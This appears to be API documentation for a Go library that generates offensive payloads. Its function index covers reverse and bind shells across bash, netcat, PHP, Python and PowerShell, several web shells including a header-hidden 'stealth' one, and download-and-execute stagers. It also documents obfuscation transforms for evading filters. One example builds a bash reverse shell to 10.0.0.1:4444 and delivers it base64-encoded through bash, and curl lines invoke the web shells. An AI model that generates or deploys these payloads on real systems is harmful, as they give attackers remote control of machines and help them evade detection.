Documentation
¶
Index ¶
- func ASPWebShell(param string) string
- func ASPXWebShell(param string) string
- func Awk(lhost string, lport int) string
- func BackgroundExec(cmd string) string
- func Base64Bash(cmd string) string
- func Base64BashC(cmd string) string
- func Base64Perl(cmd string) string
- func Base64PowerShell(cmd string) string
- func Base64Python(cmd string) string
- func Bash(lhost string, lport int) string
- func BashFD(lhost string, lport int) string
- func BashMin(lhost string, lport int) string
- func BashReadLine(lhost string, lport int) string
- func BashTLS(lhost string, lport int) string
- func Bitsadmin(url, filename string) string
- func Certutil(url, filename string) string
- func CommentTrail(cmd string) string
- func Curl(url, filename string) string
- func CurlHTTP(lhost string, lport int) string
- func CurlPipe(url string) string
- func DoubleURLEncodeStr(cmd string) string
- func HexBash(cmd string) string
- func JSPWebShell(param string) string
- func Java(lhost string, lport int) string
- func Lua(lhost string, lport int) string
- func Mshta(url string) string
- func Names() []string
- func NcatTLS(lhost string, lport int) string
- func Netcat(lhost string, lport int) string
- func NetcatBind(port int) string
- func NetcatMkfifo(lhost string, lport int) string
- func NetcatMkfifoBind(port int) string
- func NetcatOpenbsd(lhost string, lport int) string
- func NodeJS(lhost string, lport int) string
- func NohupExec(cmd string) string
- func PHP(lhost string, lport int) string
- func PHPBind(port int) string
- func PHPDownload(url, filename string) string
- func PHPEval(param string) string
- func PHPExec(lhost string, lport int) string
- func PHPHTTP(lhost string, lport int) string
- func PHPMin(lhost string, lport int) string
- func PHPWebShell(param string) string
- func PHPWebShellPassthru(param string) string
- func PHPWebShellPost(param string) string
- func PHPWebShellStealth(header string) string
- func Perl(lhost string, lport int) string
- func PerlDownload(url, filename string) string
- func PipeChain(cmds ...string) string
- func PowerShell(lhost string, lport int) string
- func PowerShellConPTY(lhost string, lport int) string
- func PowerShellDownload(url, filename string) string
- func PowerShellIEX(url string) string
- func Python(lhost string, lport int) string
- func PythonBind(port int) string
- func PythonDownload(url, filename string) string
- func PythonHTTP(lhost string, lport int) string
- func PythonMin(lhost string, lport int) string
- func PythonPTY(lhost string, lport int) string
- func PythonTLS(lhost string, lport int) string
- func Ruby(lhost string, lport int) string
- func SemicolonChain(cmds ...string) string
- func Socat(lhost string, lport int) string
- func SocatBind(port int) string
- func SocatTLS(lhost string, lport int) string
- func URLEncodeStr(cmd string) string
- func Wget(url, filename string) string
- func WgetHTTP(lhost string, lport int) string
- func WgetPipe(url string) string
- func Wrap(cmd string, enc Encoder, dec Decoder) string
- type Cmd
- func (c *Cmd) And(cmd string) *Cmd
- func (c *Cmd) Append(s string) *Cmd
- func (c *Cmd) Bg() *Cmd
- func (c *Cmd) BraceExpand() *Cmd
- func (c *Cmd) Bytes() []byte
- func (c *Cmd) Deliver(dec Decoder) *Cmd
- func (c *Cmd) DollarQuote() *Cmd
- func (c *Cmd) Encode(enc Encoder) *Cmd
- func (c *Cmd) IFS() *Cmd
- func (c *Cmd) Len() int
- func (c *Cmd) Nohup() *Cmd
- func (c *Cmd) Pipe(cmd string) *Cmd
- func (c *Cmd) Prepend(s string) *Cmd
- func (c *Cmd) Quiet() *Cmd
- func (c *Cmd) Semi(cmd string) *Cmd
- func (c *Cmd) String() string
- func (c *Cmd) Tabs() *Cmd
- func (c *Cmd) Trail() *Cmd
- func (c *Cmd) VarSplit() *Cmd
- func (c *Cmd) XOR(key []byte) *Cmd
- type Decoder
- type Encoder
- type GenerateFunc
- type Info
Constants ¶
This section is empty.
Variables ¶
This section is empty.
Functions ¶
func ASPWebShell ¶
ASPWebShell returns a classic ASP web shell.
func BackgroundExec ¶
BackgroundExec appends " &" to run in background.
func Base64Bash ¶
Base64Bash wraps a command with base64 encoding + bash execution.
func Base64BashC ¶
Base64BashC wraps a command using bash -c with base64 decoding.
func Base64Perl ¶
Base64Perl wraps a command with base64 encoding + perl execution.
func Base64PowerShell ¶
Base64PowerShell wraps a command with UTF-16LE base64 for powershell -enc.
func Base64Python ¶
Base64Python wraps a command with base64 encoding + python execution.
func BashReadLine ¶
BashReadLine returns a bash reverse shell using readline for a cleaner shell.
func CommentTrail ¶
CommentTrail appends " #" to neutralize trailing arguments.
func DoubleURLEncodeStr ¶
DoubleURLEncodeStr applies double URL encoding to a string.
func JSPWebShell ¶
JSPWebShell returns a minimal JSP web shell.
func NetcatBind ¶
NetcatBind starts a netcat bind shell on the given port.
func NetcatMkfifo ¶
NetcatMkfifo returns a netcat reverse shell using mkfifo (no -e needed).
func NetcatMkfifoBind ¶
NetcatMkfifoBind starts a mkfifo-based bind shell.
func NetcatOpenbsd ¶
NetcatOpenbsd returns a netcat reverse shell for OpenBSD netcat (no -e).
func PHPDownload ¶
PHPDownload returns a PHP download-and-execute stager.
func PHPWebShell ¶
PHPWebShell returns a minimal PHP web shell. Execute commands via: curl target/shell.php?cmd=id
func PHPWebShellPassthru ¶
PHPWebShellPassthru returns a PHP web shell using passthru for binary output.
func PHPWebShellPost ¶
PHPWebShellPost returns a PHP web shell that reads from POST body.
func PHPWebShellStealth ¶
PHPWebShellStealth returns a PHP web shell hidden in a header. Execute commands via: curl -H "X-Cmd: id" target/shell.php
func PerlDownload ¶
PerlDownload returns a Perl download-and-execute stager.
func PowerShell ¶
PowerShell returns a PowerShell reverse shell for Windows.
func PowerShellConPTY ¶
PowerShellConPTY returns a PowerShell reverse shell with ConPTY for full interactive shell.
func PowerShellDownload ¶
PowerShellDownload returns a PowerShell download-and-execute stager.
func PowerShellIEX ¶
PowerShellIEX returns a PowerShell in-memory execution stager.
func PythonBind ¶
PythonBind starts a Python bind shell on the given port.
func PythonDownload ¶
PythonDownload returns a Python download-and-execute stager.
func PythonHTTP ¶
PythonHTTP returns a Python3 HTTP reverse shell (polling).
func SemicolonChain ¶
SemicolonChain joins commands with semicolons.
func URLEncodeStr ¶
URLEncodeStr applies URL encoding to a string.
Types ¶
type Cmd ¶
type Cmd struct {
// contains filtered or unexported fields
}
Cmd is a chainable payload builder. Create one with NewCmd, apply transforms, and call String() to get the final result.
payload.NewCmd(payload.Bash("10.0.0.1", 4444)).
Encode(Base64Enc).
Deliver(BashDec).
Trail().
String()
// -> echo YmFzaC...MQ==|base64 -d|bash #
func (*Cmd) BraceExpand ¶
BraceExpand rewrites "cmd arg" as "{cmd,arg}" for bash brace expansion.
func (*Cmd) DollarQuote ¶
DollarQuote converts the entire command to bash $'...' with hex escapes.
func (*Cmd) IFS ¶
IFS replaces spaces with ${IFS} for bash injection contexts where spaces are filtered.
type Decoder ¶
type Decoder int
const ( BashDec Decoder = iota // echo <b64>|base64 -d|bash BashSubstDec // bash -c "$(echo <b64>|base64 -d)" HexBashDec // echo <hex>|xxd -r -p|bash GzipBashDec // echo <gz+b64>|base64 -d|gunzip|bash PythonDec // python3 -c "import base64,os;..." PerlDec // perl -MMIME::Base64 -e '...' PowerShellDec // powershell -nop -enc <data> RubyDec // ruby -e "require 'base64';system(Base64.decode64('...'))" PHPDec // php -r "system(base64_decode('...'));" )
type Encoder ¶
type Encoder int
const ( Base64Enc Encoder = iota // standard base64 Base64URLEnc // URL-safe base64 HexEnc // hex encoding URLEnc // percent encoding DoubleURLEnc // double percent encoding GzipBase64Enc // gzip then base64 UTF16LEEnc // UTF-16LE (for PowerShell -enc) OctalEnc // bash $'\NNN' octal escapes ROT13Enc // ROT13 substitution )
type GenerateFunc ¶
GenerateFunc is a function that generates a payload command string.
type Info ¶
type Info struct {
Name string
Description string
Platform string // "linux", "windows"
Generate GenerateFunc
}
Info describes a registered payload.
func DefaultPayload ¶
DefaultPayload returns the default payload for a platform.
func GetPayload ¶
GetPayload returns a payload by name, or nil if not found.
func ListForPlatform ¶
ListForPlatform returns payloads compatible with the given platform.